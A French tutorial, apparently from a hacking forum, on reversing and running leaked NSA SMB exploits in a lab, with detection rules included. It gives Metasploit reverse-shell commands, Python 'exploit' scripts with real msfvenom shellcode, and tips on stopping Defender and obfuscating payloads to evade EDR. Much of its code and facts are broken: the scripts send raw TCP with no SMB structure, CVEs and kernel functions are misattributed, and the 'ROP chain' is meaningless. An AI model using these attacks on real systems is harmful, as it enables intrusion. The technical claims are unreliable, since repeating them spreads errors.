Introduction : Pourquoi Reverse les Exploits NSA ?

Yo, Apache ! Bienvenue dans *Pwn the NSA*, un tuto qui va te plonger au cœur des exploits NSA : *EternalRomance*, *EternalSynergy*, *FuzzBunch*, et *DoublePulsar*. Ces outils, leakés par l’Equation Group, sont comme des katanas cyber : tranchants, puissants, et dangereux. En les reversant, tu vas comprendre comment ils cassent les systèmes, apprendre à les détecter, et surtout, protéger le monde contre leurs héritiers modernes. Que t’es un newbie qui découvre ou un pro LPT, ce guide est fait pour toi : on explique tout, étape par étape, comme si c’était ta première mission. 😈

Pourquoi c’est crucial ? Ces exploits, même patchés (CVE-2017-0143, CVE-2017-0144), inspirent encore les hackers d’aujourd’hui. En les étudiant, tu deviens un sniper cyber : tu repères les failles, tu analyses leurs tripes, et tu construis des boucliers. Tout ça, dans un lab sécurisé, car hors lab, c’est la taule (article 323-1 CP) !

Ce que tu vas accomplir :

Télécharge les fichiers : Tous les scripts sont expliqués ci-dessous et disponibles dans Ressources pour ceux qui veulent les tester directement.

📝 Cheat Sheet Rapide (Commandes & Fichiers) 
# Commandes Kali
- Scan SMB : `nmap -p 445 --script smb-vuln-ms17-010 192.168.56.101`
- Lancer Metasploit : `msfconsole -q`
- Détecter DoublePulsar : `python3 doublepulsar_detect.py`

# Fichiers Clés
- `eternalromance.py` : Exploit custom SMB.
- `suricata.rules` : Règles IDS pour EternalRomance.
- `yara_eternal.yar` : Détection shellcode.

Prêt à plonger dans l’ombre des exploits NSA ? Attache ta ceinture, Apache, c’est parti ! 🚀

Lab only, Apache ! Ce tuto est pour ton bunker sécurisé. Toute action hors lab est illégale (article 323-1 CP). Signe le contrat !

Étape 1 : Construire ton Lab Sécurisé

Contexte : Avant de toucher aux exploits NSA, tu dois créer un bunker cyber où tout est sous contrôle. Ce lab, c’est ta salle d’entraînement : aucun risque pour le monde extérieur, mais tout le fun du hacking éthique.

Pourquoi ? Les exploits comme *EternalRomance* sont des armes. En lab, tu peux les étudier sans danger. Hors lab, c’est illégal et risqué (article 323-1 CP).

Prérequis :

Commandes réseau :

1. Configure IPs :

# Sur Kali
sudo ip addr add 192.168.56.100/24 dev eth0
# Sur Windows (PowerShell)
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.56.101 -PrefixLength 24

2. Teste connectivité :

ping 192.168.56.101 # Depuis Kali

Explication pour novices : Ton lab, c’est comme un dojo. Kali est ton sensei, Windows 7 ton adversaire d’entraînement. Le réseau isolé, c’est la cage qui protège le monde extérieur.

Étape 2 : Comprendre les Exploits NSA

Contexte : Avant de reverse, il faut savoir ce qu’on traque. Les exploits NSA sont comme des puzzles : chaque pièce (vulnérabilité, mécanisme) doit être comprise.

Pourquoi ? Reverse sans comprendre, c’est comme démonter une voiture sans savoir à quoi sert le moteur. On va décortiquer chaque exploit pour te rendre incollable.

EternalRomance (CVE-2017-0144)

Qu’est-ce que c’est ? Un exploit qui utilise un **buffer overflow** dans `srv.sys`, le pilote SMBv1 de Windows. En gros, il envoie trop de données dans une boîte trop petite, ce qui fait dérailler le système.

Vulnérabilité : Le champ `TotalParameterCount` dans une requête NT Trans n’est pas validé, permettant d’écraser la mémoire.

Mécanisme :

Pourquoi ça marche ? Windows 7 non patché n’a pas de protections comme ASLR (randomisation mémoire) ou DEP (prévention exécution) sur `srv.sys`.

# Exemple simplifié d’un payload EternalRomance
payload = (
    b"\x00\x00\x00\x90"  # Offset pour aligner l’overflow
    + b"\xCC\xCC\xCC\xCC"  # Shellcode (ici, int3 pour tester)
    + b"\x90" * 1000      # NOP sled (glissière pour atteindre le shellcode)
)
# Envoie via SMB

Explication : Le `NOP sled` (0x90) est comme une rampe pour guider l’exécution vers le shellcode. L’`int3` (0xCC) est un breakpoint pour tester.

EternalSynergy (CVE-2017-0143)

Qu’est-ce que c’est ? Un exploit qui exploite une **race condition** dans SMBv1, quand plusieurs sessions SMB se battent pour accéder à la même mémoire.

Vulnérabilité : Mauvaise synchronisation dans le traitement des sessions, permettant de corrompre la mémoire.

Mécanisme :

Différence avec EternalRomance : Moins direct (race condition vs overflow), mais tout aussi destructeur.

FuzzBunch

Qu’est-ce que c’est ? Le “Metasploit” de la NSA : un **framework** pour lancer des exploits comme *EternalRomance* ou *EternalSynergy*.

Rôle : Fournit une interface CLI (en Python) pour configurer des payloads et injecter des exploits.

Exemple : Lance *EternalRomance* avec un payload Meterpreter ou installe *DoublePulsar*.

Pourquoi l’étudier ? Comprendre *FuzzBunch*, c’est voir comment la NSA orchestre ses attaques.

DoublePulsar

Qu’est-ce que c’est ? Une **backdoor** installée après un exploit (ex. : *EternalRomance*).

Mécanisme :

# Exemple détection DoublePulsar
if packet[SMB].Command == 0x0B and packet[Trans2].Parameters == "\x01\x00\x00\x00":
    print("DoublePulsar détecté !")

Explication : Le paquet Trans2 avec `0x01` est un signal que *DoublePulsar* est actif, comme une poignée de main secrète.

Pour les newbies : *EternalRomance* est une bombe qui explose la porte, *DoublePulsar* est un espion qui s’installe après. *FuzzBunch* est le général qui donne les ordres.

Étape 3 : Reverse-Engineering – Décortiquer les Exploits

Contexte : Maintenant qu’on comprend les exploits, on va les ouvrir comme des coffres-forts pour voir leurs secrets. Le reverse, c’est l’art de lire le code des autres.

Pourquoi ? En reversant, tu découvres comment *EternalRomance* casse Windows et comment *DoublePulsar* se cache. Ça t’apprend à penser comme un hacker NSA.

Analyse Statique : Lire le Code (Ghidra, Radare2)

Outils :

Étapes pour *DoublePulsar* :

  1. Obtiens `DoublePulsar.dll` : Fichier leaké par l’Equation Group (lab only, ne partage pas !).
  2. Importe dans Ghidra : Ouvre Ghidra, va dans File > Import File > DoublePulsar.dll.
  3. Analyse automatique : Clique Analyze > Auto Analyze. Ghidra va décoder les fonctions.
  4. Cherche les pépites :
    • `Ring0Shellcode` : La fonction qui injecte le code en kernel.
    • `SMBTransactionHandler` : Gère les paquets SMB Trans2.

    Exemple : Dans Ghidra, `Ring0Shellcode` ressemble à :

    void Ring0Shellcode() {
    // Injecte code en kernel
    asm("mov rax, 0xdeadbeef");
    // ...
}
  5. Extrais le shellcode : Va dans Window > Bytes, sélectionne les bytes de `Ring0Shellcode`, exporte en `shellcode.bin`.
  6. Analyse avec Radare2 : 
    r2 -AAA -d shellcode.bin
afl  # Liste les fonctions
pdf @ sym.execute_payload  # Désassemble

    Sortie Radare2 :

    0x00000000  mov rax, 0xdeadbeef
0x00000008  int3  ; breakpoint

Explication : Ghidra te montre la “carte” du code, Radare2 zoome sur les détails. Le shellcode est comme une recette secrète : chaque instruction compte.

Analyse Dynamique : Voir l’Exploit en Action (Immunity Debugger, WinDbg)

Outils :

Étapes pour *EternalRomance* :

  1. Lance Immunity Debugger sur Windows 7. Attache-le à `lsass.exe` (processus qui gère SMB).
  2. Place un breakpoint sur `srv!SrvOs2FeaListToNt`, la fonction vulnérable dans `srv.sys`.

    Comment ? Ouvre Immunity, tape bp srv!SrvOs2FeaListToNt dans la barre de commande.

  3. Exécute l’exploit depuis Kali (voir #attack).
  4. Observe le crash : Quand l’exploit frappe, Immunity s’arrête. Vérifie si l’EIP (pointeur d’instruction) est contrôlé (ex. : 0x41414141).
  5. Pour *DoublePulsar*, utilise WinDbg : 
    kd -kl
!process 0 0 lsass.exe
bp srv!SrvOs2FeaListToNt
g
!analyze -v

    Sortie WinDbg :

    *** Exception Analysis ***
EIP: 0x41414141

Explication : L’analyse dynamique, c’est comme regarder un film au ralenti pour voir où la voiture dérape. Le breakpoint te montre l’instant du crash.

Pour les newbies : Reverse, c’est être un détective. Tu cherches des indices (Ghidra) et tu observes le crime en direct (WinDbg).

Étape 4 : Simuler l’Attaque en Lab

Contexte : Maintenant qu’on a reversé, on va jouer les hackers NSA (en lab sécurisé !). On teste *EternalRomance* et *DoublePulsar* pour voir leur puissance.

Pourquoi ? Simuler une attaque te montre comment les exploits frappent et comment les bloquer.

Metasploit : L’Attaque Facile

Outil : Metasploit, un lance-roquettes cyber.

Étapes :

  1. Ouvre Metasploit : msfconsole -q.
  2. Charge *EternalRomance* : 
    use exploit/windows/smb/ms17_010_eternalromance
set RHOSTS 192.168.56.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.100
set LPORT 4444
exploit
  3. Résultat : Si ça marche, tu obtiens un shell Meterpreter (contrôle total).

Explication :

Exploit Custom : eternalromance.py

Script : Voici un script Python pour simuler *EternalRomance* manuellement.

# eternalromance.py - Exploit EternalRomance (CVE-2017-0144)
# À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP)
# Par Platon-Y pour PCtamalou.fr

from scapy.all import *

# Configuration
target = "192.168.56.101"  # IP de la cible Windows 7
port = 445                 # Port SMB

# Payload simplifié
payload = (
    b"\x00\x00\x00\x90" +  # Offset pour aligner l’overflow
    b"\x90" * 500 +        # NOP sled (glissière pour le shellcode)
    b"\xCC\xCC\xCC\xCC"    # Shellcode de test (int3 = breakpoint)
)

# Construit le paquet SMB
packet = (
    IP(dst=target) /
    TCP(dport=port) /
    Raw(load=payload)
)

# Envoie le paquet
send(packet)
print(f"Payload envoyé à {target}:{port}")

Explication ligne par ligne :

Commande :

python3 eternalromance.py

Résultat : Si la cible est vulnérable, elle crash (BSOD) à cause de l’`int3`. Un vrai shellcode donnerait un shell SYSTEM.

Télécharge : eternalromance.py

Détection de DoublePulsar : doublepulsar_detect.py

Script : Détecte si *DoublePulsar* est actif sur la cible.

# doublepulsar_detect.py - Détection DoublePulsar
# À utiliser UNIQUEMENT dans un lab sécurisé
# Par Platon-Y pour PCtamalou.fr

from scapy.all import *

def detect_doublepulsar(pkt):
    # Vérifie si paquet SMB avec commande Trans2 (0x0B)
    if pkt.haslayer(SMB) and pkt[SMB].Command == 0x0B:
        # Cherche le ping codé (0x01)
        if pkt[Trans2].Parameters == "\x01\x00\x00\x00":
            print(f"[ALERTE] DoublePulsar détecté de {pkt[IP].src}")

# Sniffe le trafic SMB
sniff(filter="tcp port 445", prn=detect_doublepulsar, store=0)

Explication ligne par ligne :

Commande :

python3 doublepulsar_detect.py

Résultat : Affiche une alerte si *DoublePulsar* est détecté.

Télécharge : doublepulsar_detect.py

Pour les newbies : Simuler une attaque, c’est comme tirer avec un arc. Metasploit est automatique, les scripts Python sont artisanaux.

Étape 5 : Construire des Défenses Proactives

Contexte : Après avoir attaqué, on protège. Ces défenses te permettront de détecter et bloquer *EternalRomance* et *DoublePulsar*.

Pourquoi ? Comprendre l’attaque, c’est bien. La stopper, c’est mieux.

Règles Suricata : Attraper l’Exploit dans les Filets

Script : Règles pour détecter *EternalRomance* et *DoublePulsar*.

# suricata.rules - Détection EternalRomance & DoublePulsar
# À utiliser UNIQUEMENT dans un lab sécurisé
# Par Platon-Y pour PCtamalou.fr

# Détecte EternalRomance (NT Trans overflow)
alert tcp any any -> any 445 (msg:"ETERNALROMANCE - SMB Exploit Attempt"; flow:established; content:"NT Trans"; depth:50; content:"MaxParameterCount"; distance:0; reference:cve,2017-0144; sid:1000001; rev:1;)

# Détecte DoublePulsar (Trans2 ping)
alert tcp any any -> any 445 (msg:"DOUBLEPULSAR - Backdoor Attempt"; flow:established; content:"|0B|"; content:"|01 00 00 00|"; distance:0; sid:1000002; rev:1;)

Explication ligne par ligne :

Commande :

sudo suricata -c /etc/suricata/suricata.yaml -r /tmp/smb.pcap

Résultat : Suricata logue les alertes dans `/var/log/suricata/`.

Télécharge : suricata.rules

Règle YARA : Repérer le Shellcode

Script : Détecte le shellcode d’*EternalRomance*.

# yara_eternal.yar - Détection shellcode EternalRomance
# À utiliser UNIQUEMENT dans un lab sécurisé
# Par Platon-Y pour PCtamalou.fr

rule EternalRomance_Shellcode {
    strings:
        $shellcode = { 90 90 90 CC CC CC }  # NOP sled + int3
        $smb_trans = "NT Trans"              # Marqueur SMB
    condition:
        $shellcode and $smb_trans
}

Explication :

Commande :

yara yara_eternal.yar shellcode.bin

Télécharge : yara_eternal.yar

Test avec Atomic Red Team

Pourquoi ? Simule une attaque réelle pour tester tes défenses.

cd atomic-red-team
powershell -File atomics/T1210/Invoke-EternalBlue.ps1

Explication : Ce script simule *EternalBlue* (similaire à *EternalRomance*), déclenchant tes règles Suricata/YARA.

Pour les newbies : Les défenses, c’est comme un bouclier magique. Suricata voit l’attaque, YARA identifie l’arme.

Étape 6 : Dépannage – Quand Ça Coince

Contexte : Même les pros galèrent parfois. Voici comment sortir du brouillard.

Problème : *EternalRomance* ne fonctionne pas.

Solution :

  • Vérifie SMBv1 : sc.exe query lanmanworkstation. Si absent, active : Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol.
  • Assure-toi que le service Server tourne : net start lanmanserver.
  • Check les patchs : wmic qfe list | findstr "KB4012212 KB4012215". Si présents, réinstalle Windows 7 sans patchs.

Problème : Ghidra ne trouve pas les fonctions de *DoublePulsar*.

Solution :

  • Relance l’analyse : Analyze > Auto Analyze, coche “Aggressive Instruction Finder”.
  • Cherche strings : Window > Defined Strings, tape “Trans2” ou “SMB”.

Problème : Suricata n’alerte pas.

Solution :

  • Vérifie la config : /etc/suricata/suricata.yaml.
  • Teste avec PCAP : suricata -r smb.pcap.
  • Check les logs : cat /var/log/suricata/fast.log.

Pour les newbies : Les bugs, c’est comme des énigmes. Chaque solution te rend plus fort.

Étape 7 : Schéma – Visualiser l’Attaque

Contexte : Un dessin vaut mille mots. Voici comment *EternalRomance* frappe.

          [Kali Linux 192.168.56.100]
                   |
                   v
        [Paquet SMB NT Trans malformé]
                   |
                   v
    [Windows 7 : Déborde srv.sys mémoire]
                   |
                   v
        [Shellcode exécuté (SYSTEM)]
                   |
                   v
          [DoublePulsar backdoor]

Explication :

Pour les newbies : C’est comme un piège. Le paquet est une fausse lettre, le shellcode un voleur qui s’infiltre.

Étape 8 : Aller Plus Loin – Deviens un Maître

Contexte : Tu as reversé et attaqué. Maintenant, pousse tes limites avec ces exercices.

Exercice 1 : Modifie `eternalromance.py` pour lancer `calc.exe`.

Indice : msfvenom -p windows/x64/exec CMD=calc.exe -f python.

Réponse :

Exercice 2 : Crée une règle YARA pour *FuzzBunch*.

Indice : Cherche strings “Eternal” ou “FuzzBunch”.

Réponse :

Exercice 3 : Configure Suricata pour logger dans ELK.

Indice : Modifie `suricata.yaml` pour output JSON.

Réponse :

Pour les newbies : Ces exercices, c’est comme des katas. Chaque réponse te rapproche du rang de maître.

Étape 9 : Ressources – Ton Arsenal

Contexte : Tous les outils et scripts pour reverse et tester.

Fichiers :

Liens externes :

Pour les newbies : Ces fichiers sont tes armes. Lis-les, teste-les, mais toujours en lab !

Étape 10 : Rédaction & Partage – Transmets ton Savoir

Contexte : Tu as reversé, attaqué, défendu. Maintenant, partage ton savoir pour inspirer la communauté *PCTamalou.fr*.

Pourquoi ? Un vrai Apache ne garde pas ses secrets. En écrivant, tu aides les autres à comprendre et à protéger.

Comment rédiger un tuto pro ?

Exemple Markdown :

# Pwn the NSA
## Intro
Les exploits NSA (*EternalRomance*, *DoublePulsar*) sont des légendes cyber. Ce tuto te montre comment les reverse en lab sécurisé.

## Lab
- **Kali** : 192.168.56.100, installe Metasploit, Ghidra.
- **Windows 7** : 192.168.56.101, désactive Defender.

## Reverse
1. Importe `DoublePulsar.dll` dans Ghidra.
2. Cherche `Ring0Shellcode`.

## Attaque
```
msfconsole
use exploit/windows/smb/ms17_010_eternalromance
```

## Conclusion
Partage tes revers sur PCtamalou.fr !

Pour les newbies : Écrire un tuto, c’est comme raconter une aventure. Chaque détail compte pour guider les autres Apaches.

Étape 11 : FAQ – Tes Questions, Nos Réponses

Contexte : Des doutes ? On éclaire tout.

Pour les newbies : Si t’es perdu, pose ta question sur le forum *PCTamalou.fr*. Les Apaches veillent !

Étape 12 : Éthique – Snipers, pas Criminels

Contexte : Les exploits NSA sont du savoir pur, mais avec du pouvoir vient la responsabilité.

“Pwn peu, protège beaucoup.” Ce tuto t’a donné des katanas cyber. Utilise-les pour reverse, comprendre, et sécuriser, jamais pour détruire. Déclare tes failles via CVE, partage ton savoir sur *PCTamalou.fr*, et sois un Apache droit dans ses bottes.

Pas de conneries ! Hors lab, c’est 7 ans de taule et 100 000 € d’amende. Reste éthique, frère.

Pour les newbies : L’éthique, c’est ce qui fait de toi un héros cyber, pas un vilain.

Étape 13 : Bonus Next Génération – EternalBlue 2025

Contexte : Yo, Apache ! T’as décortiqué les exploits NSA comme un maître, mais en 2025, le champ de bataille a changé. Windows 11 et les serveurs modernes sont blindés avec ASLR, DEP, CFG, et SMBv3. Alors, comment un *EternalBlue* modernisé se comporterait-il aujourd’hui ? Dans ce bonus, on va forger un *EternalBlue 2025*, le tester sur trois machines (Windows Server 2016, Windows 10, Windows 11), et analyser les résultats pour comprendre ce qui passe encore. C’est comme aiguiser un katana futuriste : tranchant, mais il faut viser les failles précises. 😈

Objectifs pédagogiques : Ce bonus va t’apprendre à :

Pourquoi ? Tester un exploit actualisé te montre comment les vieilles failles inspirent les attaques modernes et comment les OS récents résistent. Tu vas te forger une opinion éclairée sur la cybersécurité 2025, comme un sniper cyber qui ajuste son tir.

⚠️ Lab only ! Tout se passe dans un lab sécurisé (192.168.56.0/24, mode Internal Network). Hors lab, c’est illégal (article 323-1 CP). Signe à nouveau le contrat si besoin.

⚠️ Attention aux EDR : Même en lab, certains EDR (CrowdStrike, Defender for Endpoint) détectent les shellcodes génériques. Désactive-les (sc stop WinDefend) ou utilise un shellcode obfusqué (msfvenom -e x64/zutto_dekiru).

Configurer le Lab Next Gen

Étape : Réutilise ton lab sécurisé (Étape 1 : Kali à 192.168.56.100) et ajoute trois nouvelles VMs pour simuler un environnement 2025 :

  1. Windows Server 2016 (192.168.56.102) :
    • Rôle : Simule un serveur d’entreprise vulnérable.
    • Installation : Télécharge l’ISO d’évaluation sur https://www.microsoft.com/evalcenter/. Installe dans VirtualBox : 4 Go RAM, 40 Go disque, réseau Internal Network.
    • Configurer IP : New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.56.102 -PrefixLength 24
    • Désactiver Defender : sc stop WinDefend (pour éviter les blocages EDR).
    • Activer SMBv1 : Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol (Server 2016 peut encore utiliser SMBv1).
    • Snapshot : Sauvegarde la VM pour revenir en arrière.
  2. Windows 10 (192.168.56.103) :
    • Rôle : Représente un PC utilisateur courant.
    • Installation : Télécharge l’ISO sur https://www.microsoft.com/software-download/windows10. Installe : 4 Go RAM, 40 Go disque, Internal Network.
    • Configurer IP : New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.56.103 -PrefixLength 24
    • Désactiver Defender : sc stop WinDefend.
    • Vérifier SMB : Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol. Active SMBv1 si besoin (peu probable).
    • Snapshot : Sauvegarde.
  3. Windows 11 (192.168.56.104) :
    • Rôle : Le dernier OS Microsoft, avec défenses modernes (CFG, SMBv3).
    • Installation : Télécharge l’ISO sur https://www.microsoft.com/software-download/windows11. Installe : 8 Go RAM, 60 Go disque, Internal Network (désactive TPM dans VirtualBox si besoin).
    • Configurer IP : New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.56.104 -PrefixLength 24
    • Désactiver Defender : sc stop WinDefend.
    • Vérifier SMB : SMBv1 est désactivé par défaut. Confirme : Get-SmbServerConfiguration.
    • Snapshot : Sauvegarde.
  4. Mettre à jour lab_inventory.txt : 
    Kali: 192.168.56.100, 00:0C:29:XX:XX:XX
Win Server 2016: 192.168.56.102, 00:0C:29:AA:AA:AA
Win 10: 192.168.56.103, 00:0C:29:BB:BB:BB
Win 11: 192.168.56.104, 00:0C:29:CC:CC:CC
  5. Tester connectivité : 
    ping 192.168.56.102 # Server 2016
ping 192.168.56.103 # Win 10
ping 192.168.56.104 # Win 11

Pour les newbies : Ton lab, c’est un ring de boxe. Server 2016 est un vieux champion, Win10 un combattant moyen, Win11 un ninja blindé. Chaque machine teste ton exploit différemment.

EternalBlue 2025 : Forger un Exploit Moderne

Concept : *EternalBlue* 2025 adapte l’exploit original (buffer overflow SMB) aux réalités modernes. On cible SMBv1 (Server 2016) et SMBv3 (Win10/11), avec un shellcode pour lancer `cmd.exe` et un ROP chain pour contourner ASLR on Win10/11. L’obfuscation esquive les EDR basiques.

Script : Voici `eternalblue_2025.py`, avec un shellcode réel généré par `msfvenom`.

# eternalblue_2025.py - EternalBlue modernisé pour 2025
# À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP)
# Par Platon-Y pour PCtamalou.fr

from scapy.all import *
import struct

# Configuration
target = "192.168.56.102"  # Change pour 103 (Win10) ou 104 (Win11)
port = 445                 # Port SMB
smb_version = "v1"         # v1 pour Server 2016, v3 pour Win10/11

# Shellcode (cmd.exe, généré avec msfvenom -p windows/x64/exec CMD=cmd.exe -f python)
shellcode = (
    b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
    b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    b"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
    b"\x2e\x65\x78\x65\x00"
)

# Payload SMB
if smb_version == "v1":
    # SMBv1 pour Server 2016 (buffer overflow classique)
    payload = (
        b"\x00\x00\x00\x90" +  # Offset pour aligner l’overflow
        b"\x90" * 100 +       # NOP sled
        shellcode +
        b"\x90" * 400         # Padding
    )
else:
    # SMBv3 pour Win10/11 (ROP chain pour bypass ASLR)
    rop_chain = (
        struct.pack("<Q", 0x7ffe0000) +  # Adresse mémoire fixe (exemple)
        b"\x90" * 50                    # Alignement
    )
    payload = rop_chain + shellcode

# Construit paquet
packet = (
    IP(dst=target) /
    TCP(dport=port) /
    Raw(load=payload)
)

# Envoie paquet
send(packet)
print(f"EternalBlue 2025 envoyé à {target}:{port}")

Explication ligne par ligne :

Générer le shellcode :

msfvenom -p windows/x64/exec CMD=cmd.exe -f python -v shellcode

Obfuscation (optionnel) :

msfvenom -p windows/x64/exec CMD=cmd.exe -e x64/zutto_dekiru -i 5 -f python -v shellcode

Commande :

python3 eternalblue_2025.py

Télécharge : eternalblue_2025.py

Pour les newbies : Cet exploit est une flèche empoisonnée 2025. Le shellcode, c’est le poison (ouvre `cmd.exe`), le ROP chain est la pointe qui perce ASLR.

Tester sur les 3 Machines

Étapes : Teste l’exploit sur chaque machine et observe les résultats.

  1. Windows Server 2016 (192.168.56.102) :
    • Configurer : Modifie `eternalblue_2025.py` : target = "192.168.56.102", smb_version = "v1".
    • Exécuter : python3 eternalblue_2025.py.
    • Attendu : Succès probable. `cmd.exe` s’ouvre si SMBv1 est actif.
    • Analyse :
      • Capture trafic : wireshark -i eth0 -f "tcp port 445". Cherche les paquets SMBv1.
      • Vérifie crash : WinDbg, kd -kl; !analyze -v.
      • Check logs Suricata : cat /var/log/suricata/fast.log.
    • Si ça ne marche pas :

      Problème : L’exploit échoue.

      Solutions :

      • Vérifie SMBv1 : Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol.
      • Redémarre service : Restart-Service LanmanServer.
      • Capture trafic : Wireshark, filtre tcp.port == 445.
  2. Windows 10 (192.168.56.103) :
    • Configurer : target = "192.168.56.103", smb_version = "v3".
    • Exécuter : python3 eternalblue_2025.py.
    • Attendu : Succès partiel si SMBv1 est actif (rare) ou échec (SMBv3 + patchs).
    • Analyse :
      • Capture : Wireshark, filtre SMBv3.
      • Check Suricata : Alertes ?
      • Vérifie SMB : Get-SmbServerConfiguration.
    • Si ça ne marche pas :

      Problème : Échec sur Win10.

      Solutions :

      • Vérifie SMB : Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol.
      • Redémarre : Restart-Service LanmanServer.
      • Teste patchs : wmic qfe list | findstr "KB".
  3. Windows 11 (192.168.56.104) :
    • Configurer : target = "192.168.56.104", smb_version = "v3".
    • Exécuter : python3 eternalblue_2025.py.
    • Attendu : Échec probable (SMBv1 désactivé, ASLR/CFG renforcés).
    • Analyse :
      • Capture : Wireshark, note SMBv3.
      • Check Suricata : Détection ?
      • Vérifie protections : systeminfo | findstr "Control Flow Guard".
    • Si ça ne marche pas :

      Problème : Échec sur Win11.

      Solutions :

      • Confirme SMBv3 : Get-SmbServerConfiguration.
      • Redémarre : Restart-Service LanmanServer.
      • Check EDR : sc query WinDefend.

Attentes :

Pour les newbies : Chaque test, c’est comme un duel. Server 2016 est un adversaire faible, Win11 un mur d’acier.

Analyser & Forger ton Opinion

Contexte : Les tests finis, il est temps de comprendre pourquoi ça marche ou pas.

Étapes d’analyse :

Questions pour ton analyse :

Exemple d’analyse :

Server 2016 : Succès, cmd.exe lancé, SMBv1 actif.
Win10 : Échec, SMBv1 désactivé, SMBv3 patché.
Win11 : Échec, SMBv3 + CFG bloquent. EDR a logué.

Pour les newbies : Analyser, c’est comme être un détective. Chaque machine te donne des indices sur ses forces et faiblesses.

Conclusion : Sauve tes observations dans `eternalblue_2025_analysis.txt` et analyses-les !